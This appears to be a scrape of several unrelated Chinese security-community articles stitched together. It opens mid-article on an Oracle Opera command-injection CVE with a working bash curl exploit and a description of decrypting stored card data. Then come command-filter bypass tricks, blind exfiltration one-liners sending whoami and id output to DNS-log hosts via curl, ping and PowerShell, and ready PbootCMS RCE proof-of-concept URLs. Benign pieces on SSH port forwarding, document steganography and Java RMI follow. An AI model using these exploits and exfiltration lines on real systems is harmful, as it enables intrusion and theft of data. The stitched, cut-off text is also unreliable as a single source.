Forms软件。攻击者在执行一个未经验证的Servlet程序时，便可获得该数据库服务器的主机名。
在拿到数据库的凭证信息后，攻击者便可通过编译简单的连接语句，利用Sql*plus（用户与oracle数据库进行交互的客户端工具），建立与数据库的连接。之后，他便能以管理员的身份登录，骗取系统的信任，对数据库进行实时监控。
**No.3 CVE-2016-5663:通过系统命令注入，实施RCE攻击**
在以下两种情况中，攻击者可利用该RCE漏洞：
（1）攻击者仅能获取到应用程序服务器的登录权限（例如：Internet Exposure）；
（2）攻击者仅能通过应用程序服务器连接到数据库；
以上便是我在调查过程中，得出的最满意的结果。因为以上二者看似无关，但将它们结合在一起，便能揭示出攻击者的恶意企图。
在系统中含有一个判断数据传输过程正误的程序。在数据传输完成后，它将会给系统返回确认信息，例如：网络端口号（PID）等。而在黑盒测试中，PID参数是放在一个用于执行系统指令的字符串中，不容易被察觉。攻击者可按下图所示的步骤进行操作：修改该参数来执行另一个命令，并可通过web服务器将输出结果放入另一个可读取的文件中。
若一切顺利，该程序会输出结果whoami，并将其放在webtemp文件下。若运行出错，那么系统将会提示“找不到相应文件”的错误信息。
在浏览了该程序的编译代码后，我们会发现出错之处（即下图内红框标识部分）。在编译好的代码中包含了pslist工具（pslist：查看系统进程，是一个属性文件）的运行路径。该文件的存储路径经过硬编码处理，为：D:microsoperaoperaiasdefault.env，但我按此路径查找后发现，该文件并不存在。
为了修改这一错误，需要进行以下两步操作：
（1）在系统中找到OPERA_HOME属性的值；
（2）将其保存到D:microsoperaoperaiasdefault.env.路径下。
巧合地是，我在系统中发现了另一个诊断程序，它能够查看OPERA_HOME属性信息。如下图所示：
接着，我们便可将刚才那个Servlet程序作为RFI载体，上传至目标路径：
我利用ProcessInfo程序检查之后发现，该错误已经修改了。同时，系统给出的输出结果“whoami”也证实了该应用程序能够正常运行了。
下面的脚本程序可用于验证操作：
#!/bin/bash
STDOUT="D:microsoperaoperaiaswebtemptemp.log"
if [ "$#" -ne 2 ]; then
echo "Usage: $0 <host> <command>"
echo "E.g. : $0 http://opera.example.biz whoami"
exit 1
else
host="$1"
cmd="$2"
fi
# Activate exploit.
curl -s -XPOST --data-binary "OPERA_HOME=D:microsopera" "$host/Operajserv/webarchive/FileReceiver?filename=D:/micros/opera/operaias/default.env&crc=26&append=false" > /dev/null
# Inject command.
curl -s -G --data-urlencode "pid=1 & $cmd > "$STDOUT" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null
curl -# -G "$host/webtemp/temp.log"
# Deactivate exploit.
curl -s -G --data-urlencode "pid=1 & del "$STDOUT" 2" "$host/Operajserv/webarchive/ProcessInfo" > /dev/null
curl -s -G --data-urlencode 'pid=1 & del "D:microsoperaoperaiasdefault.env" 2' "$host/Operajserv/webarchive/ProcessInfo" > /dev/null
持卡人信息解密：
利用上述我所讲的漏洞利用过程，攻击者可拿到数据库的登录权限，从任何一个未经授权的接口进入Oracle
Opera系统数据库，进而能够窃取银行卡持卡人的私密数据，并对其进行解密。
在SQL中，用于查询数据包包体（package body）的命令语句如下所示：
由于包体信息容易与其他信息混淆，因而，攻击者便可进一步检索包体的信息，或是用其来“破解”出3DES算法的密钥。
现在，算法和密钥都已经得知了，攻击者的下一步操作便是找到加密数据的存储位置。他能在Opera资料库中获得这些信息。
一项能够用于查询NAMES_CREDIT_CARD表中数据的查询语句，能够显示出用户名和其他加密的银行卡信息。同时，攻击者还可通过一个脚本程序，将加密信息解析为明文。
**后记**
我对甲骨文公司发布的漏洞报告感到非常满意，漏洞描述很详尽。同时，在我向甲骨文公司提交了关于PGP公钥安全漏洞报告的24小时之内，他们便给予了我回应。对此，我感到很欣慰。同时，甲骨文公司还表示，他们将会在下一次发布软件补丁更新包时，加入对CVE-2016-5663、CVE-2016-5664以及CVE-2016-5665等3个漏洞进行修复的程序。 | 社区文章 |
# 【技术分享】命令执行和绕过的一些小技巧
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **l3m0n_**](http://bobao.360.cn/member/contribute?uid=2760695556)
**稿费：400RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**先看一个例子**
**本地测试环境：** PHP 5.4.45 + Win
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>
应该如何去绕过执行？
**escapeshellcmd**
<http://php.net/manual/zh/function.escapeshellcmd.php>
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或
system() 函数，或者 执行操作符 之前进行转义。
具体会转义哪些字符？
<https://github.com/php/php-src/blob/PHP-5.4.45/ext/standard/exec.c>
这些都会用^来取消其意义。也就是没办法用& | 来执行其他命令，只能列目录。
有这样的一个tip：执行.bat文件的时候，利用%1a，可以绕过过滤执行命令。
**
**
**更多好玩的命令绕过**
linux下面tip特别多，在实战或者ctf中遇到最多的几个。
**1\. 黑名单绕过**
执行ls命令：
a=l;b=s;$a$b
cat hello文件内容：
a=c;b=at;c=he;d=llo;$a$b ${c}${d}
**2\. 空格绕过**
绕过空格
${IFS}
或者在读取文件的时候利用重定向符
<>
最后就是别人fuzz的一个命令执行项目：
<https://github.com/ewilded/shelling>
**3\. 无回显**
无回显获取数据的需求还是挺大的，比如sql，xxe，xss等等，这个时候一般可以用dns/http通道来获取数据。
linux:
curl xxxx.ceye.io/`whoami`
ping -c 1 `whoami`.xxxx.ceye.io
可以获取数据，当前权限是root
但是有一个特别恼火的事情就是特殊字符或者是空格出现的话，这时候可以通过一些编码来，比如base64
curl http://xxxx.ceye.io/$(id|base64)
windows:
windows下很头疼，用起来并没有linux那么方便好用，比如curl、wget等等。
http请求：
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求：
获取计算机名：for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名：for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
powershell这么厉害，为啥不用它来base64一下数据。
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
这样就也能获取到一个base64编码到命令结果啦～算是弥补一个小小的坑。
ps:这个是用powershell2.0写的,其他版本未测试。
但是如果没有powershell想要获取更多数据的话，还是比较麻烦的。
比如获取d:所有文件,遇上空格也是会被截断。
for /F %x in ('dir /b D:') do start http://xxx.ceye.io/%x
**4\. 借他人之手来获取字符**
如果过滤了<>?，可以从已有的文件中获取自己需要的字符。
当然如果服务器能外网的话，直接wget -o /tmp就好了。 | 社区文章 |
### Author：申毅&邵华
地址：<https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/>
让我们先来了解一下端口转发的概念吧。我们知道，SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据。但是，SSH
还同时提供了一个非常有用的功能，这就是端口转发。它能够将其他 TCP 端口的网络数据通过 SSH
链接来转发，并且自动提供了相应的加密及解密服务。这一过程有时也被叫做“隧道”（tunneling），这是因为 SSH 为其他 TCP
链接提供了一个安全的通道来进行传输而得名。例如，Telnet，SMTP，LDAP 这些 TCP
应用均能够从中得益，避免了用户名，密码以及隐私信息的明文传输。而与此同时，如果您工作环境中的防火墙限制了一些网络端口的使用，但是允许 SSH
的连接，那么也是能够通过将 TCP 端口转发来使用 SSH 进行通讯。总的来说 SSH 端口转发能够提供两大功能：
1. 加密 SSH Client 端至 SSH Server 端之间的通讯数据。
2. 突破防火墙的限制完成一些之前无法建立的 TCP 连接。
图 1. SSH 端口转发
如上图所示，使用了端口转发之后，TCP 端口 A 与 B 之间现在并不直接通讯，而是转发到了 SSH
客户端及服务端来通讯，从而自动实现了数据加密并同时绕过了防火墙的限制。
## 第二部分 本地转发与远程转发
### 本地转发实例分析
我们先来看第一个例子，在实验室里有一台 LDAP 服务器（LdapServerHost），但是限制了只有本机上部署的应用才能直接连接此 LDAP
服务器。如果我们由于调试或者测试的需要想临时从远程机器（LdapClientHost）直接连接到这个 LDAP 服务器 , 有什么方法能够实现呢？
答案无疑是本地端口转发了，它的命令格式是：
ssh -L <local port>:<remote host>:<remote port> <SSH hostname>
在 LdapClientHost 上执行如下命令即可建立一个 SSH 的本地端口转发，例如：
$ ssh -L 7001:localhost:389 LdapServerHost
图 2. 本地端口转发
这里需要注意的是本例中我们选择了 7001 端口作为本地的监听端口，在选择端口号时要注意非管理员帐号是无权绑定 1-1023 端口的，所以一般是选用一个
1024-65535 之间的并且尚未使用的端口号即可。
然后我们可以将远程机器（LdapClientHost）上的应用直接配置到本机的 7001 端口上（而不是 LDAP 服务器的 389
端口上）。之后的数据流将会是下面这个样子：
* 我们在 LdapClientHost 上的应用将数据发送到本机的 7001 端口上，
* 而本机的 SSH Client 会将 7001 端口收到的数据加密并转发到 LdapServertHost 的 SSH Server 上。
* SSH Server 会解密收到的数据并将之转发到监听的 LDAP 389 端口上，
* 最后再将从 LDAP 返回的数据原路返回以完成整个流程。
我们可以看到，这整个流程应用并没有直接连接 LDAP 服务器，而是连接到了本地的一个监听端口，但是 SSH
端口转发完成了剩下的所有事情，加密，转发，解密，通讯。
这里有几个地方需要注意：
1. SSH 端口转发是通过 SSH 连接建立起来的，我们必须保持这个 SSH 连接以使端口转发保持生效。一旦关闭了此连接，相应的端口转发也会随之关闭。
2. 我们只能在建立 SSH 连接的同时创建端口转发，而不能给一个已经存在的 SSH 连接增加端口转发。
3. 你可能会疑惑上面命令中的 `<remote host>` 为什么用 `localhost`，它指向的是哪台机器呢？在本例中，它指向 `LdapServertHost` 。我们为什么用 `localhost` 而不是 IP 地址或者主机名呢？其实这个取决于我们之前是如何限制 LDAP 只有本机才能访问。如果只允许 `lookback` 接口访问的话，那么自然就只有 `localhost` 或者 IP 为 127.0.0.1 才能访问了，而不能用真实 IP 或者主机名。
4. 命令中的 `<remote host>` 和 `<SSH hostname>` 必须是同一台机器么？其实是不一定的，它们可以是两台不同的机器。我们在后面的例子里会详细阐述这点。
5. 好了，我们已经在 `LdapClientHost` 建立了端口转发，那么这个端口转发可以被其他机器使用么？比如能否新增加一台 `LdapClientHost2` 来直接连接 `LdapClientHost` 的 7001 端口？答案是不行的，在主流 SSH 实现中，本地端口转发绑定的是 lookback 接口，这意味着只有 localhost 或者 127.0.0.1 才能使用本机的端口转发 , 其他机器发起的连接只会得到“ connection refused. ”。好在 SSH 同时提供了 GatewayPorts 关键字，我们可以通过指定它与其他机器共享这个本地端口转发。
ssh -g -L <local port>:<remote host>:<remote port> <SSH hostname>
### 远程转发实例分析
我们来看第二个例子，这次假设由于网络或防火墙的原因我们不能用 SSH 直接从 LdapClientHost 连接到 LDAP
服务器（LdapServertHost），但是反向连接却是被允许的。那此时我们的选择自然就是远程端口转发了。
它的命令格式是：
ssh -R <local port>:<remote host>:<remote port> <SSH hostname>
例如在 LDAP 服务器（LdapServertHost）端执行如下命令：
$ ssh -R 7001:localhost:389 LdapClientHost
图 3. 远程端口转发
和本地端口转发相比，这次的图里，SSH Server 和 SSH Client 的位置对调了一下，但是数据流依然是一样的。我们在
LdapClientHost 上的应用将数据发送到本机的 7001 端口上，而本机的 SSH Server 会将 7001 端口收到的数据加密并转发到
LdapServertHost 的 SSH Client 上。 SSH Client 会解密收到的数据并将之转发到监听的 LDAP 389
端口上，最后再将从 LDAP 返回的数据原路返回以完成整个流程。
看到这里，你是不是会有点糊涂了么？为什么叫本地转发，而有时又叫远程转发？这两者有什么区别？
### 本地转发与远程转发的对比与分析
不错，SSH Server，SSH
Client，LdapServertHost，LdapClientHost，本地转发，远程转发，这么多的名词的确容易让人糊涂。让我们来分析一下其中的结构吧。首先，SSH
端口转发自然需要 SSH 连接，而 SSH 连接是有方向的，从 SSH Client 到 SSH Server 。而我们的应用也是有方向的，比如需要连接
LDAP Server 时，LDAP Server 自然就是 Server 端，我们应用连接的方向也是从应用的 Client 端连接到应用的 Server
端。如果这两个连接的方向一致，那我们就说它是本地转发。而如果两个方向不一致，我们就说它是远程转发。
我们可以回忆上面的两个例子来做个对照。
本地转发时：
LdapClientHost 同时是应用的客户端，也是 SSH Client，这两个连接都从它指向 LdapServertHost（既是 LDAP
服务端，也是 SSH Server）。
远程转发时：
LdapClientHost 是应用的客户端，但却是 SSH Server ；而 LdapServertHost 是 LDAP 的服务端，但却是 SSH
Client 。这样两个连接的方向刚好相反。
另一个方便记忆的方法是，Server 端的端口都是预定义的固定端口（SSH Server 的端口 22，LDAP 的端口 389），而 Client
端的端口都是动态可供我们选择的端口（如上述例子中选用的 7001 端口）。如果 Server 端的两个端口都在同一台机器，Client
端的两个端口都在另一台机器上，那么这就是本地连接；如果这四个端口交叉分布在两个机器上，每台机器各有一个 Server 端端口，一个 Client
端端口，那就是远程连接。
弄清楚了两者的区别之后，再来看看两者的相同之处。如果你所在的环境下，既允许 LdapClientHost 发起 SSH 连接到
LdapServerHost，也允许 LdapServerHost 发起 SSH 连接到 LdapClientHost
。那么这时我们选择本地转发或远程转发都是可以的，能完成一样的功能。
接着让我们来看个进阶版的端口转发。我们之前涉及到的各种连接 / 转发都只涉及到了两台机器，还记得我们在本地转发中提到的一个问题么？本地转发命令中的
`<remote host>` 和 `<SSH hostname>` 可以是不同的机器么？
ssh -L <local port>:<remote host>:<remote port> <SSH hostname>
答案是可以的！让我们来看一个涉及到四台机器 (A,B,C,D) 的例子。
图 4. 多主机转发应用
在 SSH Client(C) 执行下列命令来建立 SSH 连接以及端口转发：
$ ssh -g -L 7001:<B>:389 <D>
然后在我们的应用客户端（A）上配置连接机器（C ）的 7001 端口即可。注意我们在命令中指定了“ -g
”参数以保证机器（A）能够使用机器（C）建立的本地端口转发。而另一个值得注意的地方是，在上述连接中，（A）<-> (C) 以及 (B)<->(D)
之间的连接并不是安全连接，它们之间没有经过 SSH 的加密及解密。如果他们之间的网络并不是值得信赖的网络连接，我们就需要谨慎使用这种连接方式了。
## 第三部分 其他类型的转发
### 动态转发实例分析
恩，动态转发，听上去很酷。当你看到这里时，有没有想过我们已经讨论过了本地转发，远程转发，但是前提都是要求有一个固定的应用服务端的端口号，例如前面例子中的
LDAP 服务端的 389 端口。那如果没有这个端口号怎么办？等等，什么样的应用会没有这个端口号呢？嗯，比如说用浏览器进行 Web 浏览，比如说 MSN
等等。
当我们在一个不安全的 WiFi 环境下上网，用 SSH 动态转发来保护我们的网页浏览及 MSN 信息无疑是十分必要的。让我们先来看一下动态转发的命令格式：
$ ssh -D <local port> <SSH Server>
例如：
$ ssh -D 7001 <SSH Server>
图 5. 动态端口转发
似乎很简单，我们依然选择了 7001 作为本地的端口号，其实在这里 SSH 是创建了一个 SOCKS 代理服务。来看看帮助文档中对 -D 参数的描述：
-D port
This works by allocating a socket to listen to port on the local
side, and whenever a connection is made to this port, the con-
nection is forwarded over the secure channel, and the applica-
tion protocol is then used to determine where to connect to from
the remote machine. Currently the SOCKS4 and SOCKS5 protocols
are supported, and ssh will act as a SOCKS server. Only root
can forward privileged ports. Dynamic port forwardings can also
be specified in the configuration file.
之后的使用就简单了，我们可以直接使用 localhost:7001 来作为正常的 SOCKS 代理来使用，直接在浏览器或 MSN 上设置即可。在 SSH
Client 端无法访问的网站现在也都可以正常浏览。而这里需要值得注意的是，此时 SSH 所包护的范围只包括从浏览器端（SSH Client 端）到 SSH
Server 端的连接，并不包含从 SSH Server 端 到目标网站的连接。如果后半截连接的安全不能得到充分的保证的话，这种方式仍不是合适的解决方案。
### X 协议转发实例分析
好了，让我们来看最后一个例子 - X 协议转发。
我们日常工作当中，可能会经常会远程登录到 Linux/Unix/Solaris/HP 等机器上去做一些开发或者维护，也经常需要以 GUI
方式运行一些程序，比如要求图形化界面来安装 DB2/WebSphere 等等。这时候通常有两种选择来实现：VNC 或者 X 窗口，让我们来看看后者。
使用 X 窗口通常需要分别安装：X Client 和 X Server 。在本例中我们的 X Client 就是所访问的远程
Linux/Unix/Solaris/HP，而我们的 X Server 则是发起访问的本地机器（例如你面前正在使用的笔记本或台式机）。把 X Client
端的 X 窗口显示在 X Server 端需要先行在 X Client 端指定 X Server 的位置，命令格式如下：
export DISPLAY=<X Server IP>:<display #>.<virtual #>
例如：
export DISPLAY=myDesktop:1.0
然后直接运行 X 应用即可，X 窗口就会自动在我们的本地端打开。
一切运行正常，但是，这时候 IT 部门突然在远程 Linux/Unix/Solaris/HP 前面加了一道防火墙。非常不幸的是，X
协议并不在允许通过的列表之内。怎么办？只能使用 VNC 了么？不，其实只要使用了 SSH 端口转发即可通过，同时也对 X
通讯数据做了加密，真是一举两得。（当然，使用此方法前最好先咨询相关 IT 部门是否符合相应的安全条例，以免造成违规操作。）
建立命令也很简单，直接从本地机器（X Server 端）发起一个如下的 SSH 连接即可：
$ ssh -X <SSH Server>
图 5. X 转发
建立连接之后就可以直接运行远程的 X 应用。注意建立 X 转发之后会自动设置 DISPLAY
环境变量，通常会被设置成`localhost:10.0`，我们无需也不应该在连接之后再进行修改此环境变量。
一个比较常见的场景是，我们的本地机器是 Windows 操作系统，这时可以选择开源的 XMing 来作为我们的 XServer，而 SSH Client
则可以任意选择了，例如 PuTTY，Cygwin 均可以配置 访问 SSH 的同时建立 X 转发。
## 第四部分 总结
至此，我们已经完成了本地端口转发，远程端口转发，动态端口转发以及 X 转发的介绍。回顾起来，总的思路是通过将 TCP 连接转发到 SSH
通道上以解决数据加密以及突破防火墙的种种限制。对一些已知端口号的应用，例如
Telnet/LDAP/SMTP，我们可以使用本地端口转发或者远程端口转发来达到目的。动态端口转发则可以实现 SOCKS 代理从而加密以及突破防火墙对
Web 浏览的限制。对于 X 应用，无疑是 X 转发最为适用了。虽然每一部分我们都只是简单的介绍了一下，但如果能灵活应用这些技巧，相信对我们的日常生活 /
工作也是会有所帮助的。 | 社区文章 |
# PbootCMS v1.3.2命令执行和SQL注入漏洞
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00
前几天看到个PbootCMS，然后打算审计一波，网上找了这个cms之前的漏洞，看到有表哥审计过这个文章了，[https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=45649&page=1#pid506915](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=45649&page=1#pid506915)，可能别的表哥也发现了这个漏洞，这里简单说下我的思路。
## 0x01 命令执行漏洞
这个漏洞目前找到5处，新版本和老版本不同的是新版本加了过滤，但是可以绕过，漏洞函数在ParserController.php里。在2330多行这里，parserIfLabel()方法中调用了eval函数。而且前面有过滤。先忽略过滤内容，一会回来看，看下哪里调用了parserfLabel方法。
找到了parserIfLabel()方法，而且从下面可以看到在ParserController.php中parserAfter()方法调用了parserIfLabel()方法。
再跟进下parserAfter()方法。根据注释和代码可以分析出这是这个模板在前端渲染的时候，解析标签步骤如下：解析框架标签，解析前置公共标签，解析当前位置标签，解析分类信息标签，解析内容标签，解析公共后置标签。问题出在最后一步“解析公共后置标签”这里，这里存在eval()函数调用。这个函数存在的地方其实可以用一句话表示：
只要存在把用户输入输出到前端的地方，就会有代码执行漏洞。
找到漏洞点，看下过滤。回到parserIfLabel()方法，可以看到“$pattern =
‘/{pboot:if(([^}]+))}([\s\S]*?){\/pboot:if}/’;”这个正则把标签 if
后面的内容取了出来，然后经过过滤并执行。这里主要看下最严重的过滤，在第2316-2331行这里。这里会用正则取出“(”前面的字符串(不包括特殊符号)，也就是说@eval(‘phpinfo()’)，会取出eval和phpinfo两个字符串，然后调用function_exists()函数，如果这两个方法存在，就不会进入eval()里面。
// 带有函数的条件语句进行安全校验
if (preg_match_all('/([\w]+)([\s]+)?\(/i', $matches[1][$i], $matches2)) {
foreach ($matches2[1] as $value) {
if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) {
$danger = true;
break;
}
}
}
// 如果有危险函数，则不解析该IF
if ($danger) {
continue;
} else {
$matches[1][$i] = decode_string($matches[1][$i]); // 解码条件字符串
}
这个是新版本增加的过滤，这里有很多绕过方法，下面说三个：
> 1
> 使用空字节，在php中，phpinfo()可以用phpinfo%01()~phpinfo%19()代替，就可以使function_exists()方法返回False。这个绕过只有在留言的地方可以用，经过测试只有那里会进行url解码。
>
> 2 转义，phpinfo()，换成phpinf\o()、php\info() 之类的，function_exists()方法也会返回False。
>
> 3 混淆，代码为$a=$_GET[b];$a();，传参的时候加上&b=phpinfo。
下面找一下调用parserAfter()方法的地方，Index，About，Content，List，Search
验证下是否可以控制前端输出，以Index试一下，可以看到已经可以控制前端输出，说明存在漏洞
构造payload：
[http://127.0.0.1/PbootCMS/index.php/index/index?keyword=](http://127.0.0.1/PbootCMS/index.php/index/index?keyword=){pboot:if(1)$a=$_GET[b];$a();;//)})}}{/pboot:if}&b=phpinfo
其他几处同理
POC:
http://127.0.0.1/PbootCMS/index.php/index/index?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo
http://127.0.0.1/PbootCMS/index.php/Content/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo
http://127.0.0.1/PbootCMS/index.php/List/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo
http://127.0.0.1/PbootCMS/index.php/About/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo
http://127.0.0.1/PbootCMS/index.php/Search/index?keyword={pboot:if(1)$a=$_GET[title];$a();//)})}}{/pboot:if}&title=phpinfo
留言那里还有一处，但是需要管理员开启留言展示，利用有限。
## 0x02 SQL注入漏洞
这个注入在1.3.2已经修复了，简单说下，漏洞存在于ParserController.php中parserSearchLabel()方法。新版本已经修复，参数名不能含有除了“-”，“.”外的特殊字符。
这个注入点在参数名，前面有AND，可以用报错注入。
### 0x03 漏洞POC
目前FOFA客户端平台已经更新该漏洞检测POC。
本文由白帽汇编写，转载请注明 来自白帽汇Nosec：<https://nosec.org/home/detail/2001.html>
查看更多安全动态，请访问[[nosec.org](https://nosec.org)] | 社区文章 |
# 实验简介
上一个文档我介绍了常见的图片隐写，以及攻击方法。这次我们以电子文档最为一个整体载体，继续介绍其他的隐写方法。电子文档，它主要包括电子文书、电子信件、电子报表、电子图纸、纸质文本文档的电子版本等等，是人们电脑办公中必不可少的文件。
# 实验内容
以文件格式来划分
* 在Word中隐藏数据
* 利用隐藏文本功能进行隐写
* word文档的xml转换
* PDF文件中的信息隐藏
# 实验环境
* 操作机：Windows XP
* 实验工具：
* Word 2003 或者WPS
* wbStego4open
* 7z等压缩包工具
**下面进行实验 在Word文档中隐藏数据**
# 第一部分 在Word文档中隐藏数据
微软的Word一直是文字处理软件中的佼佼者。微软的Word、Excel、PowerPoint提供了许多在文档中隐藏数据的方法，包括批注、个人信息、水印、不可见内容、隐藏文字和定制的XML数据。最简单，也是最奇妙的，也就是这里将提到的隐藏文本功能。
## 利用隐藏文本功能进行隐写
我这里使用的是WPS文字这个工具，当然方法使用Word2003 或者其他版本也是一样的。
> * 实验：
>
- 在实验机中找到隐写术目录，打开电子文档隐写，打开flag.doc
- 在菜单栏中选择，并单击File（文件）->Tool（工具）->Option（选项）
- 找到 隐藏文字 功能，选择这个功能，点击保存
- 最终flag{doc_stego_is_ez}
**首先打开，flag.doc**
打开flag.doc，能看到的文字内容只有`Flag in here。`,我们就可以猜测，flag是被隐藏起来了
**开启隐藏文字显示功能，查看flag是否被隐写**
在菜单栏中，找到文件，移动鼠标到工具一栏，选择选项功能。
在弹出来的菜单栏中，找到隐藏文字功能，选择使其打上对勾。
点击确定，回到文字编辑界面就能看到flag了。
## 思考
1. 尝试将文本中的 Flag in here。 也隐藏掉。
2. 尝试使用word自带的文档检查器检查是否又文字隐藏
## word文档的xml转换
我们可以将word文档转换成xml格式，当然反过来我们也可以将xml转换成word文档，这导致了我们如果重新打包为word文档的过程中，有可能被隐藏进其他数据。
> * 实验：
>
- 在实验机中找到隐写术目录，打开电子文档隐写，打开file.docx
- 看到的内容是 This is not the flag you're looking for.
- 我们可以尝试分离word文档
- 发现，其中包含了一个flag.txt的文件，我们可以直接用7Z，使用zip的方法重新打开file.doc
- 打开flag.txt，最终flag{this_would_be_the_flag_you_are_looking_for}
**首先，找到文件并打开文件查看**
**尝试分离文件内容**
+bash-4.3$ file file.docx
file.docx: Zip archive data, at least v2.0 to extract
+bash-4.3$ 7z x file.docx -oout
7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18
p7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,8 CPUs)
Processing archive: file.docx
Extracting word/numbering.xml
Extracting word/settings.xml
Extracting word/fontTable.xml
Extracting word/styles.xml
Extracting word/document.xml
Extracting word/_rels/document.xml.rels
Extracting _rels/.rels
Extracting [Content_Types].xml
Extracting flag.txt
Everything is Ok
我们会发现又flag.txt的文件被打包在file.docx中，
**直接用7z等压缩包工具打开file.docx**
打开，flag.txt文件，就能看到flag了。
## 思考
1. 思考，如何制作这种隐写呢？
2. 试试能否用binwalk 或者strings等工具查看隐写痕迹。
# 第二部分 PDF文件中的信息隐藏
PDF隐写中，我们最常用，也是最熟知的工具就是wbStego4open,这是可以把文件隐藏到BMP，TXT,HTM和PDF文件中的工具，当然，这里我们只用他来最为以PDF为载体进行隐写的工具。
## PDF隐写
> * 实验：
>
- 在实验机中找到隐写术目录，打开电子文档隐写，找到 stego.pdf文档
- 在工具目录中找到 wbStego4open，使用工具载入文档，
- 根据提示，一步一步完成隐藏信息的提取
- 最终flag{CTF_is_funny}
**首先找到目标文件**
在实验机中找到隐写术目录，打开电子文档隐写，找到 stego.pdf文档
**其次，找到工具wbStego4open**
在工具目录中找到 wbStego4open，使用工具载入文档，
Step 1 是文件介绍
Step 2 中，我们选择Decode，
Step 3 我们选择目标文件
Step 4 输入加密密码，这里我是空密码，直接跳过
Step 5 为保存文件为 flag.txt
**最后打开保存后的文件，flag.txt**
最后打开保存后的文件，flag.tx，就能得到flag了。
## 思考
1. 查阅其他资料，是否还要其他的PDF隐写方式，其原理又是什么？ | 社区文章 |
# RMI
<https://xz.aliyun.com/t/8706#toc-14>
<https://xz.aliyun.com/t/7932#toc-4>
<https://xz.aliyun.com/t/7930>
<https://www.anquanke.com/post/id/204740#h3-8>
<https://www.anquanke.com/post/id/200860#h2-3>
远程方法调用，让一个java虚拟机上的对象调用另一个java虚拟机对象上的方法，对象是使用序列化传输
执行远程方法的时候，还是在远程服务上执行的。
package org.zzlearn_test.RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface ServiceInterface extends Remote {
String hello(String a) throws RemoteException;//在客户端中也需要调用该接口，所以需要将需要实现的方法写在这里
}
package org.zzlearn_test.RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class Service extends UnicastRemoteObject implements ServiceInterface {
protected Service() throws RemoteException {
super();
}
public String hello(String a) throws RemoteException {
System.out.println("call from "+a);
return "Hello " + a;
}
}
package org.zzlearn_test.RMI;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
private void start() throws Exception {
serivce h = new serivce();
LocateRegistry.createRegistry(1091);
Naming.bind("rmi://127.0.0.1:1091/Hello", h);
}
public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}
package org.zzlearn_test.RMI;
import java.rmi.Naming;
public class RMIClient {
public static void main(String[] args) throws Exception {
ServiceInterface hello = (ServiceInterface)
Naming.lookup("rmi://127.0.0.1:1091/Hello");
String ret = hello.hello("test2");
System.out.println( ret);
}
}
//如果引用远程接口serialVersionUID必须一致。
1. RMIServer会在RMI Registry上注册一个Name到对象的绑定关系
2. 在通信过程中进行了两次TCP握手，第一次是连接我们指定的端口，然后client第一次先连接RMI Registry，远端回复一个Data消息，Data中有新的端口然后客户端连接新的端口。
3. Client按照Data中的信息（ip，端口）连接RMI服务。
4. Client传输参数，server执行然后返回结果。
## RMI执行步骤
### 创建注册中心
获取注册中心有两种方式，LocateRegistry.createRegistry和LocateRegistry.getRegistry
#### 通过createRegistry获取
createRegistry有两种实现方法
public static Registry createRegistry(int port) throws RemoteException {
return new RegistryImpl(port);
}
public static Registry createRegistry(int port, RMIClientSocketFactory csf,RMIServerSocketFactory ssf)throws RemoteException{
return new RegistryImpl(port, csf, ssf);
}
但是一般采用第一种，直接传入port即可，两种都是获取一个RegistryImpl对象。
在new
RegistryImpl时，LiveRef中封装了ip，端口等信息（高版本会加入filter等等），然后传入UnicastServerRef中，进行一下数据的封装。
LiveRef var1x = new LiveRef(RegistryImpl.id, var1);
RegistryImpl.this.setup(new UnicastServerRef(var1x));
进入RegistryImpl.this.setup
private void setup(UnicastServerRef var1) throws RemoteException {
this.ref = var1;
var1.exportObject(this, (Object)null, true);
}
进入var1.exportObject，var1就是UnicastServerRef对象。
。。。。。。
最终调用TCPTransport的exportObject方法，然后开启监听。
最终通过ObjectTable.getTarget()从socket流中获取ObjId，然后通过ObjId获取Target对象，然后调用UnicastServerRef#dispatch
-》 UnicastServerRef#oldDispatch -》
RegistryImpl_Skel#dispatch，然后根据参数（0就是bind，2就是lookup）处理请求，所以无论是客户端还是服务端最终处理请求都是通过创建RegistryImpl对象进行调用。
#### 通过getRegistry获取
通过UnicastRef包装LiveRef，里面包含了ObjID、host、port等信息。
public static Registry getRegistry(String host, int port,RMIClientSocketFactory csf)throws RemoteException{
......
LiveRef liveRef = new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
